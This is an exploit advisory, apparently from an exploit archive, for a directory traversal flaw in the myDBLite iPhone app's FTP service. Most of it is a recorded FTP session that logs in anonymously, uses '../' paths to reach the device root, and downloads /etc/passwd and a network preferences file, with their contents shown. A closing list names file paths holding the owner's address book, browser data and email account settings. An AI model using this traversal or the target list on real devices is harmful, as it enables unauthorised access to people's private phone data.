ExploitFixes
myDBLite v1.1.10 for iPhone / iPod touch, Directory Traversal 2011-02-24 14:15:23

# Exploit Title : myDBLite v1.1.10 for iPhone / iPod touch, Directory Traversal
# Date: 02/24/2011
# Author: [email protected], [email protected], [email protected], Sunlight, [email protected]
# Software Link: http://itunes.apple.com/kr/app/mydb-lite/id335521112?mt=8
# Version: 1.1.10
# Tested on: iPhone, iPod 3GS with 4.2.1 firmware

# There is directory traversal vulnerability in the myDBLite.
# Exploit Testing

C:\>ftp
ftp> open 192.168.0.70 29161
Connected to 192.168.0.70.
220 DiddyDJ FTP server ready.
User (192.168.0.70:(none)): anonymous
331 Password required for anonymous
Password:
230 User logged in.
ftp> dir
200: PORT command successful.
150: Opening ASCII mode data connection for '/bin/ls'.

-rw-r--r-- 1 mobile mobile 429 1??09 10:55 appConfig.plist
-rw-r--r-- 1 mobile mobile 429 1??09 10:55 appConfigInit.plist
-rw-r--r-- 1 mobile mobile 899 1??09 10:55 appData.plist
-rw-r--r-- 1 mobile mobile 899 1??09 10:55 appDataInit.plist
-rw-r--r-- 1 mobile mobile 9859 1??09 10:55 astonmartin.jpg
-rw-r--r-- 1 mobile mobile 20 1??09 10:55 astonmartin.txt
-rw-r--r-- 1 mobile mobile 11128 1??09 10:55 ferrari.jpg
-rw-r--r-- 1 mobile mobile 74 1??09 10:55 ferrari.txt
-rw-r--r-- 1 mobile mobile 32797 1??09 10:55 frey.jpg
-rw-r--r-- 1 mobile mobile 17553 1??09 10:55 porsche.jpg
-rw-r--r-- 1 mobile mobile 111 1??09 10:55 porsche.txt
-rw-r--r-- 1 mobile mobile 422 2??24 15:20 pswd.bkup
-rw-r--r-- 1 mobile mobile 422 2??24 15:21 pswd.plist
-rw-r--r-- 1 mobile mobile 54378 1??09 10:55 schinznach.jpg
drwxr-xr-x 12 mobile mobile 476 1??04 14:43 secret

226 Transfer complete.
ftp: 1044 bytes received in 0.02Seconds 65.25Kbytes/sec.
ftp> cd ../../../../../../
250 CWD command successful.
ftp> dir
200: PORT command successful.
150: Opening ASCII mode data connection for '/bin/ls'.

-rwxr-xr-x 40 root admin 30 10??26 01:20 Applications
drwxrwxr-x 1 root admin 68 8??19 04:10 Developer
drwxrwxr-x 24 root admin 884 1??12 12:53 Library
drwxr-xr-x 1 root wheel 102 8??19 04:18 System
-rwxr-xr-x 7 root admin 11 2??23 19:41 User
drwxr-xr-x 59 root wheel 2074 1??13 09:52 bin
drwxr-xr-x 1 root admin 68 10??26 01:19 boot
-rw-r--r-- 1 (null) (null) 638 1??25 15:30 control
drwxrwxr-x 1 root admin 68 8??03 12:41 cores
---------- 1 (null) (null) 0 (null) dev
-rwxr-xr-x 25 root admin 11 8??26 05:20 etc
drwxr-xr-x 1 root admin 68 10??26 01:19 lib
drwxr-xr-x 1 root admin 68 10??26 01:19 mnt
drwxr-xr-x 2 root wheel 136 10??23 15:12 private
drwxr-xr-x 47 root wheel 1666 1??13 09:52 sbin
-rwxr-xr-x 5 root admin 15 8??26 05:20 tmp
drwxr-xr-x 9 root wheel 374 1??13 09:52 usr
-rwxr-xr-x 26 root admin 11 8??26 05:20 var

226 Transfer complete.
ftp: 1128 bytes received in 0.02Seconds 70.50Kbytes/sec.
ftp> get ../../../../../etc/passwd
200: PORT command successful.
150: Opening BINARY mode data connection for '../../../../../etc/passwd'.
226 Transfer complete.
ftp: 787 bytes received in 0.00Seconds 787000.00Kbytes/sec.
ftp> get ../../../../../../private/var/mobile/Library/Preferences/com.apple.conference.plist
200: PORT command successful.
150: Opening BINARY mode data connection for '../../../../../../private/var/mobile/Library/Preferences/com.apple.conference.plist'.
226 Transfer complete.
ftp: 272 bytes received in 0.00Seconds 272000.00Kbytes/sec.
ftp> quit
221- Data traffic for this session was 0 bytes in 0 files

C:\>type passwd
#
# 4.3BSD-compatable User Database
#
# Note that this file is not consulted for login.
# It only exisits for compatability with 4.3BSD utilities.
#
# This file is automatically re-written by various system utilities.
# Do not edit this file. Changes will be lost.
#
nobody:*:-2:-2:Unprivileged User:/var/empty:/usr/bin/false
root:*:0:0:System Administrator:/var/root:/bin/sh
mobile:*:501:501:Mobile User:/var/mobile:/bin/sh
daemon:*:1:1:System Services:/var/root:/usr/bin/false
_wireless:*:25:25:Wireless Services:/var/wireless:/usr/bin/false
_securityd:*:64:64:securityd:/var/empty:/usr/bin/false
_mdnsresponder:*:65:65:mDNSResponder:/var/empty:/usr/bin/false
_sshd:*:75:75:sshd Privilege separation:/var/empty:/usr/bin/false
_unknown:*:99:99:Unknown User:/var/empty:/usr/bin/false

C:\>type com.apple.conference.plist
bplist00?_restoredFromBackup\natTypeCache?
_DIPv4.Router=192.168.0.1;IPv4.RouterHardwareAddress=1c:bd:b9:XX:XX:XX_EIPv4.R
outer=192.168.11.1;IPv4.RouterHardwareAddress=00:24:a5:XX:XX:XX? XnatFlag
C:\>



# IPhone inside information

1. Phone Book
- /private/var/mobile/Library/AddressBook/AddressBook.sqlitedb

2. Safari Favorites List
- /private/var/mobile/Library/Safari

3. Users E-mail Information
- /private/var/mobile/Library/Preferences/com.apple.accountsettings.plist

4. IPv4 Router Information
- /private/var/mobile/Library/Preferences/com.apple.conference.plist